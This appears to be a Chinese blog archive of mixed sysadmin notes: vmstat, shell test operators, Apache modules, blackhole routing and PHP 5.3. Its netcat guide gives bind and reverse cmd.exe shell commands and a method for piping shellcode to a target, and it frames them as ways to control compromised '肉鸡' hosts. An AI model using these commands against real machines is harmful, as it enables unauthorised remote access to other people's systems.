vmstat 中文详解

[root@ljj procps-3.2.7]# man vmstat
VMSTAT(8) Linux Administrator‘s Manual VMSTAT(8)

NAME
vmstat – Report virtual memory statistics

SYNOPSIS
vmstat [-a] [-n] [delay [ count]]
vmstat [-f] [-s] [-m]
vmstat [-S unit] 指定显示的数字的单位(默认为K) 如: vmstat -S M 1 5
vmstat [-d]
vmstat [-p disk partition] 显示指定分区的信息 如: vmstat -p sda1
vmstat [-V]

DESCRIPTION
vmstat reports information about processes, memory, paging, block IO, traps, and cpu activity.

The first report produced gives averages since the last reboot. Additional reports give information on a sampling
period of length delay. The process and memory reports are instantaneous in either case.

Options
The -a switch displays active/inactive memory, given a 2.5.41 kernel or better.

The -f switch displays the number of forks since boot. This includes the fork, vfork, and clone system calls, and
is equivalent to the total number of tasks created. Each process is represented by one or more tasks, depending on
thread usage. This display does not repeat.

The -m displays slabinfo.

The -n switch causes the header to be displayed only once rather than periodically.

The -s switch displays a table of various event counters and memory statistics. This display does not repeat.

delay is the delay between updates in seconds. If no delay is specified, only one report is printed with the aver-
age values since boot.

count is the number of updates. If no count is specified and delay is defined, count defaults to infinity.

The -d reports disk statistics (2.5.70 or above required)

The -p followed by some partition name for detailed statistics (2.5.70 or above required)

The -S followed by k or K or m or M switches outputs between 1000, 1024, 1000000, or 1048576 bytes

The -V switch results in displaying version information.

FIELD DESCRIPTION FOR VM MODE
Procs
r: The number of processes waiting for run time. 可执行队列里的进程个数
b: The number of processes in uninterruptible sleep. 深度睡眠的进程个数(等待资源但不可中断)

Memory
swpd: the amount of virtual memory used. 使用的虚拟内存的数量(太大说明可能物理内存不足)
free: the amount of idle memory. 空闲的内存数量(太大则浪费,太小则为内存不足)
buff: the amount of memory used as buffers. 用做buffer的内存数量(不知道怎么解释)
cache: the amount of memory used as cache. 用做cache的内存数量(不知道怎么解释)
inact: the amount of inactive memory. (-a option) 不活动的内存数量(使用-a选项才显示)(不知道怎么解释)
active: the amount of active memory. (-a option) 活动的内存数量(使用-a选项才显示)(不知道怎么解释)

Swap (这两个值都不应该太大,最好为0,基本上不要拿硬盘当内存用)
si: Amount of memory swapped in from disk (/s). 每秒从交换内存调入内存的数量
so: Amount of memory swapped to disk (/s). 每秒写入交换内存的数量

IO
bi: Blocks received from a block device (blocks/s). 每秒从设备读入内存的数量
bo: Blocks sent to a block device (blocks/s). 每秒从内存写入设备的数量

System (这里我解释不清楚)
in: The number of interrupts per second, including the clock. 每秒钟cpu中断的次数
cs: The number of context switches per second. cpu每秒钟时间片的切换次数(异步io可能会导致切换频繁,关于同步io与异步io,一般来讲,大数据量的io适合使用异步io,非常小的数据量的io考虑使用同步io

CPU
These are percentages of total CPU time.
us: Time spent running non-kernel code. (user time, including nice time) cpu 执行非内核代码花费的时间
sy: Time spent running kernel code. (system time) cpu执行内核代码花费的时间
id: Time spent idle. Prior to Linux 2.5.41, this includes IO-wait time. cpu空闲时间
wa: Time spent waiting for IO. Prior to Linux 2.5.41, shown as zero. cpu等待io的时间,(如果该值与id成反比,说明基本是同步io,这时,如果该值总是很大的话,io就是瓶颈,可以考虑使用异步io)

FIELD DESCRIPTION FOR DISK MODE
Reads
total: Total reads completed successfully 共读了多少次
merged: grouped reads (resulting in one I/O) 分了多少组(多次io可能合并为一组来读取)
sectors: Sectors read successfully 读的扇区的数目
ms: milliseconds spent reading 读数据花费的毫秒数

Writes
total: Total writes completed successfully 共写了多少次
merged: grouped writes (resulting in one I/O) 分了多少组(多次io可能合并为一组来写)
sectors: Sectors written successfully 写扇区的数目
ms: milliseconds spent writing 写数据花费的毫秒数

IO
cur: I/O in progress
s: seconds spent for I/O

FIELD DESCRIPTION FOR DISK PARTITION MODE 使用 -p 选项时显示的信息
reads: Total number of reads issued to this partition 读该分区的次数
read sectors: Total read sectors for partition 从该分区读取的扇区数
writes : Total number of writes issued to this partition 写入该扇区的扇区数
requested writes: Total number of write requests made for partition 对该分区的写请求次数

FIELD DESCRIPTION FOR SLAB MODE
cache: Cache name
num: Number of currently active objects
total: Total number of available objects
size: Size of each object
pages: Number of pages with at least one active object
totpages: Total number of allocated pages
pslab: Number of pages per slab

NOTES
vmstat does not require special permissions.

These reports are intended to help identify system bottlenecks. Linux vmstat does not count itself as a running
process.

All linux blocks are currently 1024 bytes. Old kernels may report blocks as 512 bytes, 2048 bytes, or 4096 bytes.

Since procps 3.1.9, vmstat lets you choose units (k, K, m, M) default is K (1024 bytes) in the default mode

vmstat uses slabinfo 1.1 FIXME

FILES
/proc/meminfo
/proc/stat
/proc/*/stat

SEE ALSO
iostat(1), sar(1), mpstat(1), ps(1), top(1), free(1)

BUGS
Does not tabulate the block io per device or count the number of system calls.

AUTHORS
Written by Henry Ware <al172@yfn.ysu.edu>.
Fabian Fr<A8><A6>d<A8><A6>rick <ffrederick@users.sourceforge.net> (diskstat, slab, partitions…)

Throatwobbler Ginkgo Labs 27 July 1994 VMSTAT(8)
(END)

 

附:实例

1.

[junjie2@localhost ~]$ vmstat -S M 1 8
procs ———–memory———- —swap– —–io—- –system– —-cpu—-
r b swpd free buff cache si so bi bo in cs us sy id wa
0 1 8 14 662 134 0 0 0 0 0 0 0 0 85 14
0 1 8 14 663 134 0 0 240 296 1313 460 1 0 76 24
0 0 8 14 663 134 0 0 196 36 1316 464 0 1 84 14
0 2 8 15 662 134 0 0 240 172 1339 494 0 1 81 19
0 2 8 14 662 135 0 0 376 148 1426 625 1 1 71 29
0 2 8 14 663 134 0 0 372 240 1357 537 0 1 66 34
0 1 8 15 662 134 0 0 224 692 1318 458 1 1 66 33
0 0 8 15 662 134 0 0 292 284 1441 605 0 1 55 44

根据id和wa列来看,应该多采用的io为同步io,而且在io上存在一些瓶颈

 

2.

Shell 条件判断总结

Shell 条件判断总结

UNIX Shell 编程

一些条件判断 总结

-b file            若文件存在且是一个块特殊文件,则为真
-c file           
若文件存在且是一个字符特殊文件,则为真
-d file           
若文件存在且是一个目录,则为真
-e file           
若文件存在,则为真
-f file           
若文件存在且是一个规则文件,则为真
-g file           
若文件存在且设置了SGID位的值,则为真
-h file           
若文件存在且为一个符合链接,则为真
-k file           
若文件存在且设置了"sticky"位的值
-p file           
若文件存在且为一已命名管道,则为真
-r file           
若文件存在且可读,则为真
-s file           
若文件存在且其大小大于零,则为真
-u file           
若文件存在且设置了SUID位,则为真
-w file           
若文件存在且可写,则为真
-x file           
若文件存在且可执行,则为真
-o file           
若文件存在且被有效用户ID所拥有,则为真

-z string          string长度为0,则为真
-n string         
string长度不为0,则为真
string1 = string2 
若两个字符串相等,则为真
string1 != string2
若两个字符串不相等,则为真

int1 -eq int2      int1等于int2,则为真
int1 -ne int2     
int1不等于int2,则为真
int1 -lt int2     
int1小于int2,则为真
int1 -le int2     
int1小于等于int2,则为真
int1 -gt int2     
int1大于int2,则为真
int1 -ge int2     
int1大于等于int2,则为真

!expr              expr为假则复合表达式为真。expr可以是任何有效的测试表达式
expr1 -a expr2    
expr1expr2都为真则整式为真
expr1 -o expr2    
expr1expr2有一个为真则整式为真

特殊变量

$0                 正在被执行命令的名字。对于shell脚本而言,这是被激活命令的路径
$n                
该变量与脚本被激活时所带的参数相对应。n是正整数,与参数位置相对应($1,$2…)
$#                
提供脚本的参数号

$*                
所有这些参数都被双引号引住。若一个脚本接收两个参数,$*等于$1$2
$@                
所有这些参数都分别被双引号引住。若一个脚本接收到两个参数,$@等价于
$1$2
$?                
前一个命令执行后的退出状态

$$                
当前shell的进程号。对于shell脚本,这是其正在执行时的进程ID
$!                
前一个后台命令的进程号

给apache添加模块

下面是使用apxs工具给apache添加模块

添加的模块:
LoadModule proxy_module       libexec/mod_proxy.so
LoadModule rewrite_module     libexec/mod_rewrite.so
LoadModule headers_module     libexec/mod_headers.so

添加方法:
1. 进入apache1.3.33 源文件modules目录
cd apache_1.3.33/src/modules/

2. 安装 proxy_module 
> cd proxy
> /user/local/apache/bin/apxs -i -a -c *.c

3. 安装 rewrite_module 
> cd standard
> /user/local/apache/bin/apxs -i -a -c mod_rewrite.c

4. 安装 headers_module 
> cd standard
> /user/local/apache/bin/apxs -i -a -c mod_headers.c

 

遇到的问题: 安装rewrite_module时,遇到“mod_rewrite.h:90:18: ndbm.h: No such file or directory”
的问题,用find命令在/usr/include/gdbm/ndbm.h 找见,修改 mod_rewrite.h
#include <ndbm.h>   => #include <gdbm/ndbm.h>

apache 1.3.33 中的
mod_proxy_ftp.so
mod_proxy_http.so
mod_proxy_connect.so
都编译到proxy.so中了,可以分开,但是我能成功编译proxy.so ,但是再编译mod_proxy_http.so就不行了,有时间在研究。

沉思

我需要的是什么?

我怎么才能得到我所需要的?

你真的需要无所不能吗?

 

人最牛逼也莫过于想要什么就能得到什么。如果都靠自己动手去做,累死也做不到;如果能利用众多人的智慧,那是可以做到的。

一个什么都能做的工具可能不如一个只能做一件事的工具;什么都能做,你可能就什么都不会做,或不知道该做什么了;只能做一件事,可能谁都会用,简单的不需要任何思考。

当你辛辛苦苦昨晚一件事的时候,你想到的基本是‘终于做完了,该歇一下了’,其实你最需要做的不是歇一下,而是总结一下,看看做对了什么做错了什么。

知识与实践赛跑,同样的技术,今天价值10000,明天就价值8000.

善于分析的是员工,善于总结的人是领导;
善于制造工具的人是员工,善于使用工具的人是领导。

什么是黑洞路由

黑洞路由,便是将所有无关路由吸入其中,使它们有来无回的路由,一般是admin主动建立的路由条目。

提到黑洞路由就要提一下null0接口。
null0口是个永不down的口,一般用于管理,详见null0的词条
admin建立一个路由条目,将接到的某个源地址转向null0接口,这样对系统负载影响非常小。
如果同样的功能用ACL(地址访问控制列表)实现,则流量增大时CPU利用率会明显增加。
所以,设置黑洞路由一直是解决固定DOS攻击的最好办法
相当于洪水来临时,在洪水途经的路上附近挖一个不见底的巨大深坑,然后将洪水引入其中。
黑洞路由最大的好处是充分利用了路由器的包转发能力,对系统负载影响非常小。
在路由器中配置路由黑洞完全是出于安全因素,设有黑洞的路由会默默地抛弃掉数据包而不指明原因。
一个黑洞路由器是指一个不支持PMTU且被配置为不发送“Destination Unreachable–目的不可达”回应消息的路由器。
    可以这样看:
如果一个路由器不支持PMTU并且配置为不发送ICMP Destination Unreachable消息数据包,那么源主机可能发送一个永远得不到路由的大数据包。因为路由器没有给源主机发回应消息,主机不能确定PMTU就是问题的所在。但如果源主机端启用了PMTU,则源主机在重试几次大的MTU之后,如果还收不到路由器的应答,那源主机自动将PMTU设置为576bytes.
在Windows 2000下PMTU启用设置是—HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
EnablePMTUBHDetect REG_DWORD 0(默认禁用)或1(启用)
在Windows XP下也可以试一下。
(NOTE:PMTU–Path Maximum Transfer Unit是指当一个要发送的数据包的大小与当前路径中的最小的MTU值一样)

nc(瑞士军刀)的详细使用 [windows 版本 中文说明]

 

netcat被誉为网络安全界的’瑞士军刀’,相信没有什么人不认识它吧……

一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,

能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几

乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由’红与黑’编译

后的新’浓缩’版。’浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,

有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。

=====================================================================================================

软件介绍:

工具名:Netcat

网址:http://hackbase.com/soft/down.php?downid=15325&id=0
        源码:http://www.hacker.com.cn/down/view_11507.html

平台:Windows

WINDOWS下版本号:[v1.10 NT]

=====================================================================================================

参数介绍:

‘nc.exe -h’即可看到各参数的使用方法。

基本格式:nc [-options] hostname port[s] [ports] …

nc -l -p port [options] [hostname] [port]

-d 后台模式

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出–用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉–用于扫描时

端口的表示方法可写为M-N的范围格式。

=====================================================================================================

基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大……)。

=====================================================================================================

高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:\exploit.txt’的内容(两种格式确有相同的效果,

真是有异曲同工之妙:P)

附:’c:\exploit.txt’为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用’-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:\log.txt

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把’>’

改为’>>’即可以追加日志

附:’c:\log.txt’为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -L -p 80

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:\honeypot.txt’的内容’送’入其

管道中

(2)

NC有几种工作模式?

l WBT模式

  应用程序运行在服务器上,NC作为终端使用,可基本上解决和Windows 应用软件的兼容问题。通过在Windows NT/2000服务器上运行Windows应用程序,在NC上运行RDP客户程序,其使用效果和在本地运行相似,一个扩大内存的普通PC服务器就可以支持数十台NC。

l X―Terminal (X―终端)模式

  应用程序运行在Unix服务器上,NC作为终端使用,X―Terminal可以使用Unix(包括Linux)服务器的某些应用程序。

l B/S(浏览器/服务器)模式

  在NC上运行浏览器与服务器协同工作,处理能力由服务器和NC分担。B/S模式是应用软件的发展趋势,其性能主要决定于网络和服务器,在这种模式下使用NC与PC的效果几乎没有差别。各NC都通过网络公共出口联接Intent,这与PC用Modem分别联接Intent相比,既经济又安全。

l Linux本地机模式

  Linux应用程序可以通过远程加载在NC本地运行,服务器提供文件存储。随着知识产权保护的强化采用Linux应用软件将使软件成本大大降低。打印可由网络或本地支持。

下载地址:http://www.eee110.com/Software/Catalog139/169.html

命令1:监听命令

nc -l -p port

nc -l -p port > e:/log.dat

nc -l -v -p port

参数解释:

-l:监听端口,监听入站信息

-p:后跟本地端口号

-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息

提示:一般大家都爱用-vv

nc -l -p 80

这个很简单,监听80端口

如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!

nc -l -p 80 > e:/log.dat

呵呵,功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO

那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件

nc -l -v -p 80

和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC

的屏幕上。

nc -l -v -p 80

然后在浏览器中输入本机IP:127.0.0.1

同样,上边两个也是一样,大家自己试验一下吧

命令2:程序定向

nc -l -p port -t -e cmd.exe

本地机: nc -l -p port 或 nc -l -v -p port

目标机:nc -e cmd.exe ip port

参数解释:

-l、-p两个参数已经解释过了

-e;作用就是程序定向

-t:以telnet的形式来应答

例子

nc -l -p 5277 -t -e cmd.exe

知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器

就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的

入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。

说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。

呵呵,咱们来找台肉鸡试试,我TELNET IP 5277

local machine:nc -l -p port ( or nc -l -v -p port )

remote machine:nc -e cmd.exe ip port

大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,

什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说

不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你

这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。

这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?

咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)

nc -l -p 5277 (坚听本地5277端口)

同样也可以用

nc -l -v -p 5277

运行在本地

然后在远程机器上,想办法运行

nc -e cmd.exe ip 5277

(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!

呵,看看在本地机器上出现了什么?

这样就是反弹~~在本地机器上得到了一个SHELL

命令3:扫描端口

nc -v ip port

nc -v -z ip port-port

nc -v -z -u ip port-port

参数解释:

-z:将输入输出关掉,在扫描时使用

nc -v ip port

这个命令是针对某一个端口进行扫描

例如:

nc -v ip 135

扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息

例如:80端口

我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息

nc -v -z ip port-port

这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围

例如:

nc -v -z ip 1-200

可以看到我机器上的1-200的TCP端口的开放情况

nc -v -z -u ip port-port

这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的

例如:

nc -v -z -u ip 1-200

这个命令就会扫1-200的UDP端口

命令4:传送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:/svr.exe

REMOTE MACHINE:nc -v -l -p port > y:/svr.exe

参数解释:

-n:指定数字的IP地址

这两个命令结合起来是用来传送文件的

首先,在远程机上运行命令:

nc -v -l -p 5277 > c:/pulist.exe

这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口

并把接受到的信息数据写到c:/pulist.exe中

这时候在本地机上运行

nc -v -n ip 5277 < e:/hack/pulist.exe

这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上

这样远程主机就会自动创建一个pulist.exe文件

PHP 5.3 新特性

  • Namespaces (documentation maybe out dated)

    这就是传说中的“命名空间”啦,注意他与其他语言的区别

  • Lambda functions and closures

    支持λ函数和闭包运算

  • Addition of the intl, phar (phar is scheduled for some more work a head of alpha2), fileinfo and sqlite3 extensions

    支持intl、phar、fileinfo和sqlite3等扩展

  • Optional cyclic garbage collection

    可选的循环垃圾收集器

  • Optional support for the MySQLnd replacement driver for libmysql

    可选的替代libmysql的MySQLnd支持

  • Windows older than Windows 2000 (Windows 98, NT4, etc.) are not supported anymore (details)

    不再支持Win2000以前的系统(Windows 98, NT4等等)

  • New syntax features like NOWDOC, limited GOTO, ternary short cut "?:"

    支持新的语法特性如“NOWDOC”等,限制了“GOTO”和三元运算符“?:”等

    在我看来,此次版本步进,最大的意义在于上边的“命名空间”、“晚(静态)绑定”和MySQLnd,“命名空间”的呼声很高,早就应该加进去了;“晚(静态)绑定”现在还没看到实际东西,暂不做评论;至于MySQLnd,这个是MySQL官方出品的“Native driver for PHP”,针对这句话,官方是这么解释的

  • “native”: This doesn’t mean “written in PHP”; that would be too slow. PHP itself is a program written in C. Therefore “native” means this driver is written in C and tightly integrated into PHP at the C level. This allows the driver to achieve maximum performance (just like libmysql).

    这意味着不是“以PHP编写”,因为那样速度很慢。PHP本身是用C语言编写的,因此“native”意味着这个数据库驱动也是以C语言编写并在C语言级别上与PHP紧密集成。这使得驱动能够发挥最大的效能(类似libmysql)。

  • “driver”: This is not a new programming API or PHP extension; there are already three APIs (ext/mysql, ext/mysqli, PDO/MySQL) and three extensions, so there is no need for more. Rather, mysqlnd is a library that implements the MySQL low-level communication protocol. This library can be used by the existing extensions. Currently ext/mysql and ext/mysqli have been modified so they can optionally use mysqlnd instead of libmysql, and PDO/MySQL will be modified later.

    这不是一个新的API或PHP扩展,已经有三套API(ext/mysql、ext/mysqli、PDO/MySQL)和三套扩展所以不必开发更多的。而MySQLnd更像是一个实现了与MySQL底层通讯协议的库,可以被已经存在的扩展使用。现在ext/mysql和ext/mysqli已经过修改可以选择使用MySQLnd来代替libmysql,PDO/MySQL随后也将做修改。

  • “for PHP”: This is nothing new in the sense that libmysql is also for PHP. But mysqlnd is published under the terms of the PHP license whereas libmysql was not. Therefore, unlike with libmysql, there is no need for the FLOSS License Exception to make the license compatible with that of PHP. Those who recall the (partly heated) discussions about the exception might be especially happy to hear about this.

    与libmysql for PHP而言,这没什么变化,但MySQLnd基于PHP License发布而libmysql不是。因此,不再需要FLOSS License以使其兼容,对于提出这项内容的人而言是一个好消息。